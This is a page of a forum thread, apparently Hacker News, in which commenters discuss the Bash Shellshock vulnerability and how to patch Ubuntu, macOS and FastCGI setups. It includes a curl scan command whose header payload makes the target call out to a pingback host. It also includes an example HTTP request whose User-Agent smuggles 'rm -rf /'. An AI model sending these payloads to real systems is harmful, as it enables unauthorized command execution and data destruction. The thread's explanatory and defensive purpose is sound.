311–320 of 432 posts
This is quite stealthy way to scan, as Accept headers are generally not logged: curl -H 'Accept: () { :;}; /usr/bin/curl -so /dev/null http://my.pingback.com' Found nothing so far though. IMHO the number of Bash CGI scripts in the wild must be pretty low.
Earlier quoted context omitted.
So, as a amateur sysadmin of a decently popular side project, what should I do? I've read over the post on the mailing list, and I think I understand the basic attack, but I'm having trouble understanding exactly how an attacker could run bash on my server and what I therefore need to patch (though I suspect that's intentional). Is `sudo apt-get update && sudo apt-get upgrade` sufficient on an Ubuntu server?
If you just want to upgrade bash, and prevent services like nginx, fpm, and apache from being restarted in production, you can run `sudo apt-get update && sudo apt-get install --only-upgrade bash` Related to that, does anyone else know if upgrading bash will require a restart of other services kind of like upgrading openssl requires restarting things?
Earlier quoted context omitted.
> Is `sudo apt-get update && sudo apt-get upgrade` sufficient on an Ubuntu server? Yes. Patch is out.
DigitalOcean uses mirrors too, so you have to change your /etc/apt/sources.list file or wait.
If you are responsible for the security of any system, this is your immediate, drop-everything priority. The technical details of the exploit mean that new ways of exploiting it will be discovered soon. Precedent suggests that automated systematic attacks against every server on the Internet will be coming, on a time scale of hours.
Earlier quoted context omitted.
"If you are responsible for the security of any system, this is your immediate, drop-everything priority." Why don't you explain in plain english exactly why you feel this is the case? "Drop-everything" in other words (or even close to that). Give some scenarios. After all anyone who knows a great deal doesn't need that advice the people who need that advice are ones that don't know enough to know what the impact of…
Because this allows execution of arbitrary commands from any unsantized environment variable. Web servers pass information about the HTTP client to CGI scripts using environment variables. A CGI script written in bash would be vulnerable to arbitrary command execution if any HTTP header contained the vulnerable string. GET / HTTP/1.0 User-Agent: () { :; }; rm -rf / Restricted SSH accounts (like the ones used by GitHu…
I'm a bit confused about how to properly patch my mac. Homebrew installs upgraded bash to /usr/local/bin/bash, everyone says what I should do is run 'chsh -s /usr/local/bin/bash' but if I have a script that has a /bin/bash hashbang at the top, won't it still use the vulnerable bash install? I mean I guess the answer is "you're probably not hosting a publicly accessible service on your mac, who cares?", which is true…
You're correct – you'd need to overwrite /bin/bash (think long and hard about this) to update it before Apple ships an update. The good news is that as long as you're not running a local server, the vulnerability is pretty limited particularly since even if you did have SSH enabled the exploit would require valid authentication first.
http://support.apple.com/kb/HT4169
Might be wise to turn all network-listening services off that you don't immediately need until a fix is available.
Earlier quoted context omitted.
You're correct – you'd need to overwrite /bin/bash (think long and hard about this) to update it before Apple ships an update. The good news is that as long as you're not running a local server, the vulnerability is pretty limited particularly since even if you did have SSH enabled the exploit would require valid authentication first.
At least on linux that's not true as NetworkManager + dhclient is affected through malicious dhcp packets. There could be attack vectors almost everywhere.
On OS X, you could see every time a process is invoked like this:
sudo execsnoop -c bash
On Linux, that requires work which fortunately Brendan Gregg already did:
https://github.com/brendangregg/perf-tools/blob/master/execs...
Earlier quoted context omitted.
Is this also dangerous to common FastCGI-Wrappers? E.g. this is used by Virtualmin: #!/bin/bash PHPRC=$PWD/../etc/php5 export PHPRC umask 022 export PHP_FCGI_CHILDREN PHP_FCGI_MAX_REQUESTS=99999 export PHP_FCGI_MAX_REQUESTS SCRIPT_FILENAME=$PATH_TRANSLATED export SCRIPT_FILENAME exec /usr/bin/php5-cgi At least SCRIPT_FILENAME is user input isn't it? I'm really not sure but like to have some clarity. It should not wor…
IIUC, you're already pwned after the first line of your wrapper script, i.e. #!/bin/bash, as your CGI environment was already set before, and now you're running bash in it (unless FastCGI works differently, not by setting the environment as plain old CGI; I don't know FastCGI, but from a quick glance I think it works similarly)
It seems like the current patch might not be a complete fix: http://seclists.org/oss-sec/2014/q3/671